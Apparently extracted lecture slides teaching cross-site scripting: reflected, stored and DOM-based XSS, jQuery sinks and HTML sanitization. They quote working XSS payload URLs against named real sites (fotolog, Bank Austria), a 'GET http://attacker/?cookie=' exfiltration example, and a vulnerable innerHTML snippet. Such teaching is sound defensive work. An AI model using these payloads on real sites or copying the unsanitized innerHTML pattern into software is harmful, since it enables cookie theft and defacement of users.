XSS
Real-life XSS examples
http://m.fotolog.com/search.php?auth=%3Ch1%3ERME%20Pwnea%20de%20Nuevo%3C/h1%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Cnoscript%3E
Decoded -- cleaned up a bit

http://m.fotolog.com/search.php?auth=
<h1>
  RME Pwnea de Nuevo
</h1>
<script>
  alert(document.cookie)
</script><noscript>
http://www.bankaustria.at/privatkunden-kontaktformular.jsp?id=%22%E3%CScrip%E3%AEtal%E2%80%94dhony%27%29%22%3Ccenter%3E%3Ch1%3Edhonywidyantoro+-+VISIT+US+ON+FACEBOOK+%3D+https%3A%2F%2Fwww.facebook.com%2F DokterDhonyW%3C%2Fh1%3E%3Cimg%20src=%22http://betadhony.files.wordpress.com/2014/01/1488076_638621169510722_147500364_n1.jpg%22%20alt=%22http://betadhony.files.wordpress.com/2014/01/1488076_638621169510722_147500364_n1.jpg%22%20width=%22700%22%20height=%22700%22%3E%3C%2Fmarquee%3E
Review: 3 types of XSS attacks

Reflected

- Attacker sends malicious script in legit page
- Browser assumes it’s legit and executes it
- Reflected to user as part of victim site’s page

Stored

- attack stores malicious script in app, gets returned in later request
Review: 3 types of XSS attacks

DOM-based

- app uses client-side javascript
- DOM is modified but change may never reach web app server
- HTML source code/HTML response are unchanged

DOM: defines tree structure for document for easy access
1. Check this out: http://website/search?key=script...

GET http://attacker/?cookie=sensitive-data

2. Website's Response to Victim After innerHTML Manipulation

   <html>
   You searched for: <em><script>...</script></em></html>

   <script>
   var keyword = location.search.substring(6);
   document.querySelector('em').innerHTML = keyword;
   </script>

   <html>

3. Website's Response to Victim

   <html>
   You searched for: <em></em></html>

   <script>
   var keyword = location.search.substring(6);
   document.querySelector('em').innerHTML = keyword;
   </script>

   <html>

4. Website's Response to Victim After innerHTML Manipulation

5. Website's Response Script

   print "<html>"
   print "You searched for: <em><em>""
   print "<script>
   print "var keyword = location.search.substring(6);"
   print "document.querySelector('em').innerHTML = keyword;"
   print "</script>"
   print "</html>"
A Key Difference...

In regular XSS

- Load page that contains malicious content.
  Execution of bad script on page load.

In DOM-based XSS

- Load legitimate page that uses user input.
  Legitimate JavaScript takes user input that is dangerous.
A client-side problem!

Many websites need to update without refreshing the whole page (that ‘flicker effect’).

Often done with JavaScript on the client-side.
Hiding DOM-based XSS from the Server

- **use of URL fragment identifier**
  - http://www.example.com/test.html#<script>alert(1)</script>
  - Anything after ‘#” in URL is not sent to the server

- **Access from client-side, but not server-side**

- **New HTML5 features LocalStorage and IndexedDB are also invisible to server**
jQuery

- JavaScript library designed for easy HTML traversal, DOM manipulation, AJAX request handling etc.

```
$(‘some selector name’)  
```

- creates a jQuery object for selected element
- a way of matching elements in a document
jQuery XSS demo

Demo credit to: Himanshu Upadaya

jquery_example.html

Other jQuery sinks
But what about Chrome anti-XSS filter?

Example by Nikifor

- original site
- Simple HTML injection
- simple XSS (caught by anti-XSS filter!)
- removing end script tag
- bypass!
- redirection!
Sanitizers

What is HTML Sanitization?

What should be sanitized?
Sanitizers

What is HTML Sanitization?

- Based on some sanitization policy, remove dangerous HTML markup that might introduce JavaScript and a XSS attack

What should be sanitized?
Sanitizers

What is HTML Sanitization?
● Based on some sanitization policy, remove dangerous HTML markup that might introduce JavaScript and a XSS attack

What should be sanitized?
● sanitize user input!!
Quick Note...

Validator

● checks that user input is an expected format

Sanitizer

● checks that user input is clean

Escaper

● converting special characters so browser interprets as text, not code
Sanitization Policy

Whitelist
● list of known good inputs

Blacklist
● list of known bad inputs

Would it be better to use a whitelist or a blacklist? Why do you think so?
Some sources used

- http://excess-xss.com/
- https://eamann.com/tech/jquery-xss/
- http://www.breakthesecurity.com/2012/05/dom-based-cross-site-scriptingxss.html